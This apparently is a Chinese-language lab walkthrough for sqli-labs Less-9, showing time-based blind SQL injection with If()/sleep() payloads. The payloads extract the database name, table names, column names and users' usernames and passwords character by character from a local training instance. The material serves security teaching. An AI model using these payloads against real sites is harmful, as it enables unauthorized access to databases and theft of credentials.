天天看點

Sqli-labs less 9

本關我們從标題就可以看到 《基于時間-單引号》,是以很明顯的這關要我們利用延時注入進行,同時id參數進行的是 ' 的處理。這裡我們大緻的将延時注入的方法示範一次。這裡用sleep()函數。

這裡因為我們利用的是時間的延遲,貼圖就沒有意義了,這裡隻寫payload了:(正确的時候直接傳回,不正确的時候等待5秒鐘,隻貼正确的)

猜測資料庫:

​​http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+​​

說明第一位是s (ascii碼是115)

​​http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If(ascii(substr(database(),2,1))=101,1,sleep(5))--+​​

說明第一位是e (ascii碼是101)

....

以此類推,我們知道了資料庫名字是security

猜測security的資料表:

http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+

猜測第一個資料表的第一位是e,...依次類推,得到emails

http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))--+

猜測第二個資料表的第一位是r,...依次類推,得到referers

...

再以此類推,我們可以得到所有的資料表emails,referers,uagents,users

猜測users表的列:

http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+

猜測users表的第一個列的第一個字元是i,

以此類推,我們得到列名是id,username,password

猜測username的值:

http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))--+

猜測username的第一行的第一位

以此類推,我們得到資料庫username,password的所有内容